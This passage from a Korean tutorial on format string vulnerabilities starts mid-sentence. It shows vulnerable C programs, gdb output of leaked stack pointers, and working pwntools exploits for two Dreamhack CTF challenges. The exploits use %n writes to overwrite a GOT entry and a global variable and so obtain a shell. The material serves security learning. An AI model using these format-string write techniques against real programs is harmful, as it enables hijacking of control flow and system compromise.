자열을 출력할 때 특정 형식을 지정할 수 있도록 하는 문자열을 말한다. 보통 printf, sprintf, snprintf, fprintf 같은 함수에서 사용된다.('printf("%d", 10);'이런 명령어가 있다고 할 때, %d가 포맷 스트링이다.)
포맷 스트링 함수 사용 시 발생할 수 있는 버그이다. 공격자가 입력 데이터에 포맷 스트링을 입력하여 메모리를 읽거나 쓰는 식으로 이용할 수 있다.
// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c
#include <stdio.h>
int main() {
char format[0x100];
printf("Format: ");
scanf("%s", format);
printf(format);
return 0;
}
위는 간단한 FSB를 일으키는 코드이다. 이제 이 코드에 의도적으로 FSB를 일으킨 후 어떤 값이 나오는 지 살펴보자.
gef➤ disas main
Dump of assembler code for function main:
0x0000000000001189 <+0>: endbr64
0x000000000000118d <+4>: push rbp
0x000000000000118e <+5>: mov rbp,rsp
0x0000000000001191 <+8>: sub rsp,0x110
0x0000000000001198 <+15>: mov rax,QWORD PTR fs:0x28
0x00000000000011a1 <+24>: mov QWORD PTR [rbp-0x8],rax
0x00000000000011a5 <+28>: xor eax,eax
0x00000000000011a7 <+30>: lea rax,[rip+0xe56] # 0x2004
0x00000000000011ae <+37>: mov rdi,rax
0x00000000000011b1 <+40>: mov eax,0x0
0x00000000000011b6 <+45>: call 0x1080 <printf@plt>
0x00000000000011bb <+50>: lea rax,[rbp-0x110]
0x00000000000011c2 <+57>: mov rsi,rax
0x00000000000011c5 <+60>: lea rax,[rip+0xe41] # 0x200d
0x00000000000011cc <+67>: mov rdi,rax
0x00000000000011cf <+70>: mov eax,0x0
0x00000000000011d4 <+75>: call 0x1090 <__isoc99_scanf@plt>
0x00000000000011d9 <+80>: lea rax,[rbp-0x110]
0x00000000000011e0 <+87>: mov rdi,rax
0x00000000000011e3 <+90>: mov eax,0x0
0x00000000000011e8 <+95>: call 0x1080 <printf@plt>
0x00000000000011ed <+100>: mov eax,0x0
0x00000000000011f2 <+105>: mov rdx,QWORD PTR [rbp-0x8]
0x00000000000011f6 <+109>: sub rdx,QWORD PTR fs:0x28
0x00000000000011ff <+118>: je 0x1206 <main+125>
0x0000000000001201 <+120>: call 0x1070 <__stack_chk_fail@plt>
0x0000000000001206 <+125>: leave
0x0000000000001207 <+126>: ret
End of assembler dump.
gef➤ b *main+95
Breakpoint 1 at 0x11e8
gef➤ r
Starting program: /home/pdh/fsb_stack_read
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Format: %p/%p/%p/%p/%p
개인적으로 어떤 값이 나오는 지 바로 확인하기 위해 gdb를 사용해 실행시켰다. printf 함수에 bp를 건 후 '%p/%p/%p/%p/%p'를 입력값에 넣었다.
0xa/(nil)/0x7ffff7f9baa0/(nil)/0x5555555596b0
원래라면 rdi에 들어있는 인자 값(사용자의 입력 값)을 출력하는 게 맞지만 이 경우, 이런 식으로 내가 입력한 형식에 맞춰 어떠한 포인터 값이 출력이 된 것을 볼 수 있다.
───────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x00007ffff7f9baa0 → 0x00000000fbad2288
$rdx : 0x0
$rsp : 0x00007fffffffdc70 → "%p/%p/%p/%p/%p/%p/%p/%p"
$rbp : 0x00007fffffffdd80 → 0x0000000000000001
$rsi : 0xa
$rdi : 0x00007fffffffdc70 → "%p/%p/%p/%p/%p/%p/%p/%p"
$rip : 0x00005555555551e8 → <main+005f> call 0x555555555080 <printf@plt>
$r8 : 0x0
$r9 : 0x00005555555596b0 → "%p/%p/%p/%p/%p/%p/%p/%p\n"
$r10 : 0xffffffffffffff80
$r11 : 0x0
$r12 : 0x00007fffffffde98 → 0x00007fffffffe11b → "/home/pdh/fsb_stack_read"
$r13 : 0x0000555555555189 → <main+0000> endbr64
$r14 : 0x0000555555557db0 → 0x0000555555555140 → <__do_global_dtors_aux+0000> endbr64
$r15 : 0x00007ffff7ffd040 → 0x00007ffff7ffe2e0 → 0x0000555555554000 → jg 0x555555554047
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
위는 bp를 걸었던 printf 함수가 출력되는 부분이다. rdi 레지스터(입력값)을 제외하고 호출규약에 맞춰 인자가 없음에도 rsi, rdx, rcx, r8, r9 레지스터 값이 출력되었다는 걸 알 수 있다.
참고로 'printf(format);'이 아니라 'printf("%s\n", format);' 이런 식으로 사용하면 format을 문자열 취급하기 때문에 FSB가 터지지 않고, 그냥 '%p/%p/%p/%p/%p/%p/%p/%p' 이런 식의 결과가 나온다.
[*] '/home/pdh/basic_exploitation_002/basic_exploitation_002'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
위 코드는 위는 Dreamhack - basic_exploitation_002 문제에서 제공하는 'basic_exploitation_002.c' 코드이다. 이 코드를 분석해보자.
printf(buf);에서 FSB 취약점이 발생할 수 있다.먼저, get_shell 함수의 주소를 찾아내서 실행시키면 될 것 같다. main 함수에서 initialize, read, printf, exit 함수를 차례대로 호출하고 있으니 exit 주소를 get_shell 주소로 바꾸면 될 것 같다.
gef➤ info func get_shell
All functions matching regular expression "get_shell":
Non-debugging symbols:
0x08048609 get_shell
get_shell 함수의 오프셋은 위 명령어로 간단히 구할 수 있다.
from pwn import *
p = remote('host3.dreamhack.games', 20540)
e = ELF('./basic_exploitation_002')
exit_got = e.got['exit']
payload = p32(exit_got + 2) + p32(exit_got) + b'%2044c%1$hn%32261c%2$hn'
p.send(payload)
p.interactive()
[*] '/home/pdh/Format String Bug/fsb_overwrite'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void get_string(char *buf, size_t size) {
ssize_t i = read(0, buf, size);
if (i == -1) {
perror("read");
exit(1);
}
if (i < size) {
if (i > 0 && buf[i - 1] == '\n') i--;
buf[i] = 0;
}
}
int changeme;
int main() {
char buf[0x20];
setbuf(stdout, NULL);
while (1) {
get_string(buf, 0x20);
printf(buf);
puts("");
if (changeme == 1337) {
system("/bin/sh");
}
}
}
위 코드는 위는 Dreamhack - Format String Bug 문제에서 제공하는 'fsb_overwrite.c' 코드이다. 이 코드를 분석해보자.
printf(buf);에서 FSB 취약점이 발생할 수 있다.셸을 따는 법은 먼저 PIE가 걸려있기 때문에 PIE 베이스 주소를 먼저 구하고, 해당 주소에 changeme 변수의 오프셋을 더해서 changeme 변수의 주소를 구해서 해당 주소 값을 '1337'로 변경하면 된다.
$ readelf -s fsb_overwrite | grep changeme
40: 000000000000401c 4 OBJECT GLOBAL DEFAULT 26 changeme
위 명령어로 'changeme'의 오프셋을 구할 수 있다.
from pwn import *
p = remote('host3.dreamhack.games', 21823)
e = ELF("./fsb_overwrite")
p.sendline(b"%15$p")
addr = int(p.recvline()[:-1], 16)
base = addr - e.symbols['main']
changeme = base + e.symbols['changeme']
print(changeme)
payload = b'%1337c%8' + b'$nAAAAAA' + p64(changeme)
p.send(payload)
p.interactive()
payload 구성
1. b'%1337c : 1337을 인자로 넣기 위해 내부 카운터 값을 1337로 맞춘다.
2. %8' : 지금까지 출력한 문자의 수를 인자로 받은 주소에 쓰게된다. 즉, 8번째 인자에 들어간다.
3. b'$nAAAAAA' : 스택 정렬을 맞추기 위한 패딩 값이다.
4. p64(changeme) : changeme의 주소이다. 이 값은 스택 상 8번째 인자로 들어가 있다.